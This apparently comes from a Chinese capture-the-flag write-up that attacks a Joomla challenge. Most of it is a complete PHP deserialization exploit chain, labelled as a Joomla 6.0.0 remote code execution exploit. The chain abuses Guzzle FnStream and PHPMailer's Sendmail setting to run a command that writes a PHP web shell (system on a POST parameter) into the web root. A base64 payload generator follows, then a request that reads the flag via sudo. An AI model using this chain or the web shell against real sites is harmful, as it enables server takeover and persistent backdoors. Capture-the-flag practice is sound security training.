pts/0 00:00:00 apache2 -DFOREGROUND ctf 302 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND ctf 1975 1 0 13:15 pts/0 00:00:00 apache2 -DFOREGROUND ctf 3870 1 0 14:33 pts/0 00:00:00 apache2 -DFOREGROUND ctf 8827 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND ctf 8832 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND ctf 8833 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND ctf 11086 3870 0 18:45 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint -- root 11087 11086 0 18:45 pts/0 00:00:00 sudo cat /hint ctf 11104 8832 0 18:46 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint -- root 11105 11104 0 18:46 pts/0 00:00:00 sudo cat /hint root 11119 156 0 18:47 pts/0 00:00:00 sleep 5s ctf 11131 198 0 18:47 pts/0 00:00:00 sh -c -- ps -efww -- ctf 11132 11131 0 18:47 pts/0 00:00:00 ps -efww
感觉escapeshellcmd防死了,可能得换条路子
写🐎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php // Joomla! 6.0.0 RCE Exploit // Payload: FnStream Proxy -> passthru("\n/bin/cat /flag") // Bypass: PHP 8 strict types & arguments count, PHPMailer log prefix namespace Joomla\Database\Mysqli { class MysqliDriver { protected $connection; // 显式 Mock 属性防止父类干扰 protected $disconnectHandlers = []; public function __construct($connection) { $this->connection = $connection; } } } namespace GuzzleHttp\Psr7 { class FnStream { // [代理核心] // 用于代理 Debugoutput 调用,清洗参数 public $_fn_getMetadata; // 用于触发 PHPMailer 发送流程 public $_fn_close; // methods 仅用于构造阶段,反序列化时无效 private $methods = []; public function __construct($getMetadataCallback, $closeCallback) { $this->_fn_getMetadata = $getMetadataCallback; $this->_fn_close = $closeCallback; $this->methods = ['close' => '1', 'getMetadata' => '1']; // 占位 } } } namespace PHPMailer\PHPMailer { class PHPMailer { public $Mailer = 'sendmail'; // [命令注入] // 1. \n : 换行,断开 "Sendmail path: " 前缀 // 2. /bin/cat /flag : 纯净命令,无特殊字符,无视 escapeshellcmd (因为此处是 Raw 使用) #public $Sendmail = "\ncd /var/www/html&&pwd&&touch 1.php public $Sendmail = "cd /var/www/html&&pwd&&touch 3.php&&echo \"<?php system(\$_POST['cmd']); ?>\" >3.php&&ls&&cat 3.php"; // [触发执行] public $SMTPDebug = 1; // [代理设置] // 设置 Debugoutput 为 FnStream 代理对象的 getMetadata 方法 // 运行时执行: $proxy->getMetadata("Sendmail path: \n/bin/cat /flag", 1) // 代理内部执行: passthru("Sendmail path: \n/bin/cat /flag") -> 忽略了参数 1 -> 成功! public $Debugoutput; // [环境配置] public $From = 'admin@localhost.com'; public $Sender = 'admin@localhost.com'; public $Subject = 'Pwn'; public $Body = 'Pwn'; protected $language = ['execute' => '']; protected $to = []; protected $cc = []; protected $bcc = []; protected $ReplyTo = []; protected $all_recipients = []; protected $RecipientsQueue = []; protected $ReplyToQueue = []; protected $attachment = []; protected $CustomHeader = []; protected $boundary = []; protected $exceptions = false; public function __construct() { $this->to[] = ['admin@localhost.com', 'Admin']; $this->all_recipients['admin@localhost.com'] = true; } } } namespace { // 1. 初始化 Mailer $mailer = new \PHPMailer\PHPMailer\PHPMailer(); // 2. 初始化 FnStream (身兼两职:触发器 + 代理) // 构造函数参数: (getMetadata回调, close回调) // _fn_getMetadata 指向 'passthru' (执行命令) // _fn_close 指向 [$mailer, 'send'] (触发发送) $fnStream = new \GuzzleHttp\Psr7\FnStream('passthru', [$mailer, 'send']); // 3. 配置 Mailer 使用该 FnStream 作为调试输出 $mailer->Debugoutput = [$fnStream, 'getMetadata']; // 4. 装载到 Driver $driver = new \Joomla\Database\Mysqli\MysqliDriver($fnStream); // 5. 生成 Fast Destruct Payload $ser = serialize([$driver]); $payload = substr($ser, 0, -1); echo base64_encode($payload); echo "\n"; }
跑
1 2 cmd=echo 'c2Gq01N'; | script -q -c 'sudo cat /flag' /dev/null